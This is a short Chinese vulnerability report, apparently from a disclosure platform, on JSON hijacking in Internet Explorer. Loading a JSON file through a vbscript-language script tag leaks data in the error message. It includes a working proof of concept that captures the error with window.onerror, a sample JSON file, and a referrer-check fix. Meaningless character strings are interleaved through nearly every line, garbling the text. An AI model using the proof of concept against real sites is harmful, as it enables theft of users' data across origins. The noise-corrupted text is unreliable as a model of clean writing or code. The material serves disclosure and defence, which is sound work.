简要描述:. O6 _' V& n ~2 f. e
; e4 E' l+ ~" Y% o k5 }
由于某些资源容器对数据处理不当导致json劫持漏洞.1 d7 o, e4 K% q) a, d
详细说明:
% J O8 K8 W h: g0 s9 a由于ie支持vbscript,所以script元素可以指定成vbscript语言:
( r) h+ b5 W/ X/ u) a<script language=vbscript></script>
& i' `. _2 `' p: h
: v" u7 c' d* x4 O) k当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
& O3 A8 S1 {4 p漏洞证明:
$ o2 n5 D4 Z m( N% R5 r9 R<script>
- E1 A) N7 W& lwindow.onerror=function(_){
$ I; W Z6 e$ q5 {# d5 Z5 y$ Jalert(_)4 z: u/ V+ G i# C6 m+ c
}6 n. L5 T. z, c8 |; V5 e n9 x
</script>$ |6 G* Z! v/ |2 ~
<script language=vbscript src=1.json></script>
" E @4 V" _8 ?# P3 E7 E2 P! r, h% L
% p! ~+ g1 P; t, X! M5 | $ D& Y$ P+ x' Y }/ b! M
1.json:
: \' e# L# }" p( y[{"name":"sogili","age":19}]$ X2 E) X: F. I# r. J, p& R
修复方案:, p4 f' H# j( b! B* d0 J \
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |